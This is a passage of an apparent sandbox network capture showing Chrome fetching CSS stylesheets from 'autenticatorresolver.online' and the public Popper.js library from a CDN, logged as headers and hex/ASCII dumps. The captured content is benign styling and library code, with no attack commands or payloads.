te-space:nowrap}.ff9s3yw{margin-left:8px}.f1phki43{margin-right:8px}.f1bsjrm3{text-decoration:none}.f1mh47zh{letter-spacing:3px}.f82itaf{line-height:22px}.f12kltsn{vertical-align:top}.f8xlz6g{line-height:24px}.f1cmbuwj{text-overflow:ellipsis}.f19ph88b{min
2025-01-06 13:26:44 UTC	1369	IN	Data Raw: 2e 66 6e 70 6d 33 6c 20 69 6e 70 75 74 7b 70 61 64 64 69 6e 67 2d 62 6f 74 74 6f 6d 3a 36 70 78 7d 2e 66 73 63 33 6d 76 6f 20 69 6e 70 75 74 7b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 30 70 78 7d 2e 66 31 73 36 36 72 74 30 20 69 6e 70 75 74 3a 68 6f 76 65 72 7b 62 6f 72 64 65 72 2d 74 6f 70 2d 63 6f 6c 6f 72 3a 72 67 62 28 35 30 2c 35 30 2c 35 30 29 7d 2e 66 37 33 75 67 7a 31 20 69 6e 70 75 74 3a 68 6f 76 65 72 7b 62 6f 72 64 65 72 2d 72 69 67 68 74 2d 63 6f 6c 6f 72 3a 72 67 62 28 35 30 2c 35 30 2c 35 30 29 7d 2e 66 35 69 76 33 37 30 20 69 6e 70 75 74 3a 68 6f 76 65 72 7b 62 6f 72 64 65 72 2d 6c 65 66 74 2d 63 6f 6c 6f 72 3a 72 67 62 28 35 30 2c 35 30 2c 35 30 29 7d 2e 66 31 69 77 38 76 76 35 20 69 6e 70 75 74 3a 68 6f 76 65 72 7b 62 6f 72 64 65 72 2d 62 Data Ascii: .fnpm3l input{padding-bottom:6px}.fsc3mvo input{padding-left:0px}.f1s66rt0 input:hover{border-top-color:rgb(50,50,50)}.f73ugz1 input:hover{border-right-color:rgb(50,50,50)}.f5iv370 input:hover{border-left-color:rgb(50,50,50)}.f1iw8vv5 input:hover{border-b
2025-01-06 13:26:44 UTC	257	IN	Data Raw: 30 2c 30 2c 30 2e 32 29 7d 2e 66 76 36 70 34 6e 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 72 67 62 28 30 2c 31 30 33 2c 31 38 34 29 7d 2e 66 39 65 78 37 35 37 7b 62 6f 72 64 65 72 2d 74 6f 70 2d 63 6f 6c 6f 72 3a 72 67 62 28 30 2c 31 30 33 2c 31 38 34 29 7d 2e 66 31 62 6e 37 71 62 79 7b 62 6f 72 64 65 72 2d 72 69 67 68 74 2d 63 6f 6c 6f 72 3a 72 67 62 28 30 2c 31 30 33 2c 31 38 34 29 7d 2e 66 71 76 38 39 35 62 7b 62 6f 72 64 65 72 2d 6c 65 66 74 2d 63 6f 6c 6f 72 3a 72 67 62 28 30 2c 31 30 33 2c 31 38 34 29 7d 2e 66 31 79 78 35 39 37 36 7b 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 2d 63 6f 6c 6f 72 3a 72 67 62 28 30 2c 31 30 33 2c 31 38 34 29 7d 2e 66 31 69 72 65 74 77 38 7b 63 6f 6c 6f 72 3a 72 67 62 28 32 35 35 2c 32 35 35 2c 32 35 35 29 7d Data Ascii: 0,0,0.2)}.fv6p4nl{background-color:rgb(0,103,184)}.f9ex757{border-top-color:rgb(0,103,184)}.f1bn7qby{border-right-color:rgb(0,103,184)}.fqv895b{border-left-color:rgb(0,103,184)}.f1yx5976{border-bottom-color:rgb(0,103,184)}.f1iretw8{color:rgb(255,255,255)}
2025-01-06 13:26:44 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49759	104.21.80.1	443	3512	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-06 13:26:44 UTC	594	OUT	GET /assets/global/pdf/css/conf.css HTTP/1.1 Host: autenticatorresolver.online Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://autenticatorresolver.online/fl/w0q9hliz Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-06 13:26:44 UTC	975	IN	HTTP/1.1 200 OK Date: Mon, 06 Jan 2025 13:26:44 GMT Content-Type: text/css Transfer-Encoding: chunked Connection: close Cache-Control: public, max-age=604800 expires: Mon, 13 Jan 2025 11:30:07 GMT etag: W/"5a2-66d40740-10b4ba;br" last-modified: Sun, 01 Sep 2024 06:18:40 GMT vary: Accept-Encoding alt-svc: h3=":443"; ma=86400 CF-Cache-Status: HIT Age: 6997 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=M0UyRDgbFYBsJ3v1JZ4GziSpzdCjqENYUphxHff7noiVzud0HrZ8yl%2FIAJUisnBIhvXxHSgllqh3hN0AZgzIi5JwFsbVJvVeGM%2F2gY9mfYdkuP6S4onNpw2jeG6YzxtwyXfryQmg9bdxhTEh2tc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fdc0a9f8d1dc443-EWR server-timing: cfL4;desc="?proto=TCP&rtt=1607&min_rtt=1595&rtt_var=622&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2873&recv_bytes=1172&delivery_rate=1726788&cwnd=244&unsent_bytes=0&cid=cfb53f796b1b9e0e&ts=146&x=0"
2025-01-06 13:26:44 UTC	394	IN	Data Raw: 35 61 32 0d 0a 40 2d 77 65 62 6b 69 74 2d 6b 65 79 66 72 61 6d 65 73 20 66 31 74 32 73 71 78 6b 7b 30 25 7b 6c 65 66 74 3a 30 70 78 3b 6f 70 61 63 69 74 79 3a 31 7d 31 30 30 25 7b 6c 65 66 74 3a 2d 32 30 30 70 78 3b 6f 70 61 63 69 74 79 3a 30 7d 7d 40 2d 77 65 62 6b 69 74 2d 6b 65 79 66 72 61 6d 65 73 20 66 31 6f 34 74 61 61 78 7b 30 25 7b 72 69 67 68 74 3a 30 70 78 3b 6f 70 61 63 69 74 79 3a 31 7d 31 30 30 25 7b 72 69 67 68 74 3a 2d 32 30 30 70 78 3b 6f 70 61 63 69 74 79 3a 30 7d 7d 40 6b 65 79 66 72 61 6d 65 73 20 66 31 74 32 73 71 78 6b 7b 30 25 7b 6c 65 66 74 3a 30 70 78 3b 6f 70 61 63 69 74 79 3a 31 7d 31 30 30 25 7b 6c 65 66 74 3a 2d 32 30 30 70 78 3b 6f 70 61 63 69 74 79 3a 30 7d 7d 40 6b 65 79 66 72 61 6d 65 73 20 66 31 6f 34 74 61 61 78 7b 30 25 Data Ascii: 5a2@-webkit-keyframes f1t2sqxk{0%{left:0px;opacity:1}100%{left:-200px;opacity:0}}@-webkit-keyframes f1o4taax{0%{right:0px;opacity:1}100%{right:-200px;opacity:0}}@keyframes f1t2sqxk{0%{left:0px;opacity:1}100%{left:-200px;opacity:0}}@keyframes f1o4taax{0%
2025-01-06 13:26:44 UTC	1055	IN	Data Raw: 72 61 6d 65 73 20 66 61 64 70 67 72 70 7b 30 25 7b 72 69 67 68 74 3a 32 30 30 70 78 3b 6f 70 61 63 69 74 79 3a 30 7d 31 30 30 25 7b 72 69 67 68 74 3a 30 70 78 3b 6f 70 61 63 69 74 79 3a 31 7d 7d 40 6b 65 79 66 72 61 6d 65 73 20 66 72 32 65 32 69 76 7b 30 25 7b 6c 65 66 74 3a 32 30 30 70 78 3b 6f 70 61 63 69 74 79 3a 30 7d 31 30 30 25 7b 6c 65 66 74 3a 30 70 78 3b 6f 70 61 63 69 74 79 3a 31 7d 7d 40 6b 65 79 66 72 61 6d 65 73 20 66 61 64 70 67 72 70 7b 30 25 7b 72 69 67 68 74 3a 32 30 30 70 78 3b 6f 70 61 63 69 74 79 3a 30 7d 31 30 30 25 7b 72 69 67 68 74 3a 30 70 78 3b 6f 70 61 63 69 74 79 3a 31 7d 7d 40 2d 77 65 62 6b 69 74 2d 6b 65 79 66 72 61 6d 65 73 20 66 31 77 6a 39 34 72 6c 7b 30 25 7b 6c 65 66 74 3a 30 70 78 3b 6f 70 61 63 69 74 79 3a 31 7d 31 30 Data Ascii: rames fadpgrp{0%{right:200px;opacity:0}100%{right:0px;opacity:1}}@keyframes fr2e2iv{0%{left:200px;opacity:0}100%{left:0px;opacity:1}}@keyframes fadpgrp{0%{right:200px;opacity:0}100%{right:0px;opacity:1}}@-webkit-keyframes f1wj94rl{0%{left:0px;opacity:1}10
2025-01-06 13:26:44 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49760	104.21.80.1	443	3512	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-06 13:26:44 UTC	594	OUT	GET /assets/global/pdf/css/conn.css HTTP/1.1 Host: autenticatorresolver.online Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://autenticatorresolver.online/fl/w0q9hliz Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-06 13:26:44 UTC	990	IN	HTTP/1.1 200 OK Date: Mon, 06 Jan 2025 13:26:44 GMT Content-Type: text/css Transfer-Encoding: chunked Connection: close Cache-Control: public, max-age=604800 expires: Mon, 13 Jan 2025 11:30:07 GMT etag: W/"338e-66d40740-10b4b9;br" last-modified: Sun, 01 Sep 2024 06:18:40 GMT vary: Accept-Encoding alt-svc: h3=":443"; ma=86400 CF-Cache-Status: HIT Age: 6997 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=W%2By2k6Ol3UiRH7ClyXj%2FE35V3hEF9F72a%2BtmYFrEPSCIJKbX6tWeSRM%2FH6O0h366VdfaWUbAChEl%2BV6ELpYs8bQcqyDbZFu9sRVU1t1U%2FgX0tlE%2F5ACBxFWK4FSvOt%2FjLa4Vr2Cp8wnNs8%2Bh7hw%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fdc0a9fad34c443-EWR server-timing: cfL4;desc="?proto=TCP&rtt=1605&min_rtt=1603&rtt_var=605&sent=3&recv=6&lost=0&retrans=0&sent_bytes=2872&recv_bytes=1172&delivery_rate=1801357&cwnd=244&unsent_bytes=0&cid=8d825693567c94fc&ts=140&x=0"
2025-01-06 13:26:44 UTC	379	IN	Data Raw: 33 33 38 65 0d 0a 20 20 20 20 20 20 20 20 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 36 30 30 70 78 29 2c 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 68 65 69 67 68 74 3a 33 36 36 70 78 29 7b 2e 66 31 68 69 68 79 70 77 7b 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 74 6f 70 7d 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 36 30 30 70 78 29 2c 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 68 65 69 67 68 74 3a 33 36 36 70 78 29 7b 2e 66 31 68 64 78 70 6e 32 7b 70 61 64 64 69 6e 67 2d 74 6f 70 3a 32 34 70 78 7d 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 36 30 30 70 78 29 2c 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 Data Ascii: 338e @media screen and (max-width:600px),screen and (max-height:366px){.f1hihypw{vertical-align:top}}@media screen and (max-width:600px),screen and (max-height:366px){.f1hdxpn2{padding-top:24px}}@media screen and (max-width:600px),screen and (max
2025-01-06 13:26:44 UTC	1369	IN	Data Raw: 68 65 69 67 68 74 3a 33 36 36 70 78 29 7b 2e 66 31 35 62 73 70 64 6b 7b 70 61 64 64 69 6e 67 2d 62 6f 74 74 6f 6d 3a 32 34 70 78 7d 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 36 30 30 70 78 29 2c 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 68 65 69 67 68 74 3a 33 36 36 70 78 29 7b 2e 66 31 62 30 39 6b 37 72 7b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 32 34 70 78 7d 2e 66 69 70 64 70 68 6f 7b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 34 70 78 7d 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 36 30 30 70 78 29 2c 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 68 65 69 67 68 74 3a 33 36 36 70 78 29 7b 2e 66 31 73 77 31 35 67 73 7b 6d 61 72 67 69 6e 2d 74 6f 70 3a Data Ascii: height:366px){.f15bspdk{padding-bottom:24px}}@media screen and (max-width:600px),screen and (max-height:366px){.f1b09k7r{padding-left:24px}.fipdpho{padding-right:24px}}@media screen and (max-width:600px),screen and (max-height:366px){.f1sw15gs{margin-top:
2025-01-06 13:26:44 UTC	1369	IN	Data Raw: 69 67 68 74 3a 33 36 36 70 78 29 7b 2e 66 31 6a 66 33 33 72 74 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 30 70 78 7d 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 36 30 30 70 78 29 2c 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 68 65 69 67 68 74 3a 33 36 36 70 78 29 7b 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 36 30 30 70 78 29 2c 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 68 65 69 67 68 74 3a 33 36 36 70 78 29 7b 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 36 30 30 70 78 29 2c 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 68 65 69 67 68 74 3a 33 36 36 70 78 29 7b 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e Data Ascii: ight:366px){.f1jf33rt{margin-bottom:0px}}@media screen and (max-width:600px),screen and (max-height:366px){}@media screen and (max-width:600px),screen and (max-height:366px){}@media screen and (max-width:600px),screen and (max-height:366px){}@media screen
2025-01-06 13:26:44 UTC	1369	IN	Data Raw: 78 29 2c 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 68 65 69 67 68 74 3a 33 36 36 70 78 29 7b 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 36 30 30 70 78 29 2c 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 68 65 69 67 68 74 3a 33 36 36 70 78 29 7b 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 36 30 30 70 78 29 2c 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 68 65 69 67 68 74 3a 33 36 36 70 78 29 7b 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 36 30 30 70 78 29 2c 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 68 65 69 67 68 74 3a 33 36 36 70 78 29 7b 2e 66 79 72 6c 65 38 6a 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 Data Ascii: x),screen and (max-height:366px){}@media screen and (max-width:600px),screen and (max-height:366px){}@media screen and (max-width:600px),screen and (max-height:366px){}@media screen and (max-width:600px),screen and (max-height:366px){.fyrle8j{background-c
2025-01-06 13:26:44 UTC	1369	IN	Data Raw: 20 28 6d 61 78 2d 77 69 64 74 68 3a 36 30 30 70 78 29 2c 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 68 65 69 67 68 74 3a 33 36 36 70 78 29 7b 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 36 30 30 70 78 29 2c 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 68 65 69 67 68 74 3a 33 36 36 70 78 29 7b 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 36 30 30 70 78 29 2c 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 68 65 69 67 68 74 3a 33 36 36 70 78 29 7b 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 36 30 30 70 78 29 2c 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 68 65 69 67 68 74 3a 33 36 36 70 78 29 7b 7d 40 6d 65 64 Data Ascii: (max-width:600px),screen and (max-height:366px){}@media screen and (max-width:600px),screen and (max-height:366px){}@media screen and (max-width:600px),screen and (max-height:366px){}@media screen and (max-width:600px),screen and (max-height:366px){}@med
2025-01-06 13:26:44 UTC	1369	IN	Data Raw: 63 6f 6e 74 72 61 73 74 3a 6d 6f 72 65 29 2c 28 66 6f 72 63 65 64 2d 63 6f 6c 6f 72 73 3a 61 63 74 69 76 65 29 7b 2e 66 31 33 68 66 76 63 6a 7b 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 2d 73 74 79 6c 65 3a 73 6f 6c 69 64 7d 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 70 72 65 66 65 72 73 2d 63 6f 6e 74 72 61 73 74 3a 6d 6f 72 65 29 2c 28 66 6f 72 63 65 64 2d 63 6f 6c 6f 72 73 3a 61 63 74 69 76 65 29 7b 2e 66 6d 30 37 72 68 31 7b 62 6f 72 64 65 72 2d 6c 65 66 74 2d 73 74 79 6c 65 3a 73 6f 6c 69 64 7d 2e 66 37 79 32 36 78 65 7b 62 6f 72 64 65 72 2d 72 69 67 68 74 2d 73 74 79 6c 65 3a 73 6f 6c 69 64 7d 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 6d 73 2d 68 69 67 68 2d 63 6f 6e 74 72 61 73 74 3a 61 63 74 69 76 65 29 7b 7d 40 Data Ascii: contrast:more),(forced-colors:active){.f13hfvcj{border-bottom-style:solid}}@media screen and (prefers-contrast:more),(forced-colors:active){.fm07rh1{border-left-style:solid}.f7y26xe{border-right-style:solid}}@media screen and (-ms-high-contrast:active){}@
2025-01-06 13:26:44 UTC	1369	IN	Data Raw: 65 29 7b 2e 66 39 71 34 79 71 75 7b 62 6f 72 64 65 72 2d 72 69 67 68 74 2d 63 6f 6c 6f 72 3a 68 69 67 68 6c 69 67 68 74 7d 2e 66 77 62 70 6b 33 35 7b 62 6f 72 64 65 72 2d 6c 65 66 74 2d 63 6f 6c 6f 72 3a 68 69 67 68 6c 69 67 68 74 7d 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 6d 73 2d 68 69 67 68 2d 63 6f 6e 74 72 61 73 74 3a 61 63 74 69 76 65 29 7b 2e 66 68 65 30 74 64 37 7b 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 2d 63 6f 6c 6f 72 3a 68 69 67 68 6c 69 67 68 74 7d 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 6d 73 2d 68 69 67 68 2d 63 6f 6e 74 72 61 73 74 3a 61 63 74 69 76 65 29 7b 2e 66 77 62 70 6b 33 35 7b 62 6f 72 64 65 72 2d 6c 65 66 74 2d 63 6f 6c 6f 72 3a 68 69 67 68 6c 69 67 68 74 7d 2e 66 39 71 34 79 71 75 7b Data Ascii: e){.f9q4yqu{border-right-color:highlight}.fwbpk35{border-left-color:highlight}}@media screen and (-ms-high-contrast:active){.fhe0td7{border-bottom-color:highlight}}@media screen and (-ms-high-contrast:active){.fwbpk35{border-left-color:highlight}.f9q4yqu{
2025-01-06 13:26:44 UTC	1369	IN	Data Raw: 72 7b 62 6f 72 64 65 72 2d 6c 65 66 74 2d 73 74 79 6c 65 3a 73 6f 6c 69 64 7d 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 6d 73 2d 68 69 67 68 2d 63 6f 6e 74 72 61 73 74 3a 61 63 74 69 76 65 29 7b 2e 66 74 78 72 30 35 38 3a 68 6f 76 65 72 7b 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 2d 73 74 79 6c 65 3a 73 6f 6c 69 64 7d 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 6d 73 2d 68 69 67 68 2d 63 6f 6e 74 72 61 73 74 3a 61 63 74 69 76 65 29 7b 2e 66 31 78 38 6d 32 32 70 3a 68 6f 76 65 72 7b 62 6f 72 64 65 72 2d 6c 65 66 74 2d 73 74 79 6c 65 3a 73 6f 6c 69 64 7d 2e 66 31 71 64 33 62 6d 36 3a 68 6f 76 65 72 7b 62 6f 72 64 65 72 2d 72 69 67 68 74 2d 73 74 79 6c 65 3a 73 6f 6c 69 64 7d 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 Data Ascii: r{border-left-style:solid}}@media screen and (-ms-high-contrast:active){.ftxr058:hover{border-bottom-style:solid}}@media screen and (-ms-high-contrast:active){.f1x8m22p:hover{border-left-style:solid}.f1qd3bm6:hover{border-right-style:solid}}@media screen
2025-01-06 13:26:44 UTC	1369	IN	Data Raw: 35 65 69 68 72 3a 68 6f 76 65 72 3a 66 6f 63 75 73 7b 62 6f 72 64 65 72 2d 6c 65 66 74 2d 77 69 64 74 68 3a 31 70 78 7d 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 6d 73 2d 68 69 67 68 2d 63 6f 6e 74 72 61 73 74 3a 61 63 74 69 76 65 29 7b 2e 66 64 36 37 32 30 74 3a 68 6f 76 65 72 3a 66 6f 63 75 73 7b 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 2d 77 69 64 74 68 3a 31 70 78 7d 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 6d 73 2d 68 69 67 68 2d 63 6f 6e 74 72 61 73 74 3a 61 63 74 69 76 65 29 7b 2e 66 31 75 35 65 69 68 72 3a 68 6f 76 65 72 3a 66 6f 63 75 73 7b 62 6f 72 64 65 72 2d 6c 65 66 74 2d 77 69 64 74 68 3a 31 70 78 7d 2e 66 31 69 6b 34 75 33 75 3a 68 6f 76 65 72 3a 66 6f 63 75 73 7b 62 6f 72 64 65 72 2d 72 69 67 68 74 Data Ascii: 5eihr:hover:focus{border-left-width:1px}}@media screen and (-ms-high-contrast:active){.fd6720t:hover:focus{border-bottom-width:1px}}@media screen and (-ms-high-contrast:active){.f1u5eihr:hover:focus{border-left-width:1px}.f1ik4u3u:hover:focus{border-right
2025-01-06 13:26:44 UTC	1369	IN	Data Raw: 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 6d 73 2d 68 69 67 68 2d 63 6f 6e 74 72 61 73 74 3a 61 63 74 69 76 65 29 7b 2e 66 31 72 78 36 7a 70 6a 3a 68 6f 76 65 72 3a 66 6f 63 75 73 7b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 2d 6c 69 6e 65 3a 75 6e 64 65 72 6c 69 6e 65 7d 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 6d 73 2d 68 69 67 68 2d 63 6f 6e 74 72 61 73 74 3a 61 63 74 69 76 65 29 7b 2e 66 31 79 65 65 72 62 6b 3a 66 6f 63 75 73 7b 6f 75 74 6c 69 6e 65 2d 77 69 64 74 68 3a 31 70 78 7d 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 6d 73 2d 68 69 67 68 2d 63 6f 6e 74 72 61 73 74 3a 61 63 74 69 76 65 29 7b 2e 66 31 61 70 65 65 68 75 3a 66 6f 63 75 73 7b 6f 75 74 6c 69 6e 65 2d 73 74 79 6c 65 3a 73 6f 6c Data Ascii: edia screen and (-ms-high-contrast:active){.f1rx6zpj:hover:focus{text-decoration-line:underline}}@media screen and (-ms-high-contrast:active){.f1yeerbk:focus{outline-width:1px}}@media screen and (-ms-high-contrast:active){.f1apeehu:focus{outline-style:sol

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49761	151.101.1.229	443	3512	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-06 13:26:44 UTC	388	OUT	GET /npm/@popperjs/core@2.11.8/dist/umd/popper.min.js HTTP/1.1 Host: cdn.jsdelivr.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-06 13:26:44 UTC	776	IN	HTTP/1.1 200 OK Connection: close Content-Length: 20122 Access-Control-Allow-Origin: * Access-Control-Expose-Headers: * Timing-Allow-Origin: * Cache-Control: public, max-age=31536000, s-maxage=31536000, immutable Cross-Origin-Resource-Policy: cross-origin X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Content-Type: application/javascript; charset=utf-8 X-JSD-Version: 2.11.8 X-JSD-Version-Type: version ETag: W/"4e9a-hx1u8QcL02PqOQ4MjDhOR9zn84k" Accept-Ranges: bytes Age: 1726035 Date: Mon, 06 Jan 2025 13:26:44 GMT X-Served-By: cache-fra-eddf8230047-FRA, cache-nyc-kteb1890083-NYC X-Cache: HIT, HIT Vary: Accept-Encoding alt-svc: h3=":443";ma=86400,h3-29=":443";ma=86400,h3-27=":443";ma=86400
2025-01-06 13:26:44 UTC	1378	IN	Data Raw: 2f 2a 2a 0a 20 2a 20 40 70 6f 70 70 65 72 6a 73 2f 63 6f 72 65 20 76 32 2e 31 31 2e 38 20 2d 20 4d 49 54 20 4c 69 63 65 6e 73 65 0a 20 2a 2f 0a 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 3f 74 28 65 78 70 6f 72 74 73 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 5b 22 65 78 70 6f 72 74 73 22 5d 2c 74 29 3a 74 28 28 65 3d 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 3f 67 6c 6f 62 61 6c 54 68 69 73 3a 65 7c 7c 73 65 6c 66 29 2e 50 6f 70 70 65 72 3d 7b 7d 29 7d Data Ascii: /** * @popperjs/core v2.11.8 - MIT License */!function(e,t){"object"==typeof exports&&"undefined"!=typeof module?t(exports):"function"==typeof define&&define.amd?define(["exports"],t):t((e="undefined"!=typeof globalThis?globalThis:e\|\|self).Popper={})}
2025-01-06 13:26:44 UTC	1378	IN	Data Raw: 75 6e 63 74 69 6f 6e 20 75 28 65 29 7b 76 61 72 20 6e 3d 74 28 65 29 3b 72 65 74 75 72 6e 7b 73 63 72 6f 6c 6c 4c 65 66 74 3a 6e 2e 70 61 67 65 58 4f 66 66 73 65 74 2c 73 63 72 6f 6c 6c 54 6f 70 3a 6e 2e 70 61 67 65 59 4f 66 66 73 65 74 7d 7d 66 75 6e 63 74 69 6f 6e 20 6c 28 65 29 7b 72 65 74 75 72 6e 20 65 3f 28 65 2e 6e 6f 64 65 4e 61 6d 65 7c 7c 22 22 29 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3a 6e 75 6c 6c 7d 66 75 6e 63 74 69 6f 6e 20 64 28 65 29 7b 72 65 74 75 72 6e 28 28 6e 28 65 29 3f 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 3a 65 2e 64 6f 63 75 6d 65 6e 74 29 7c 7c 77 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 29 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 7d 66 75 6e 63 74 69 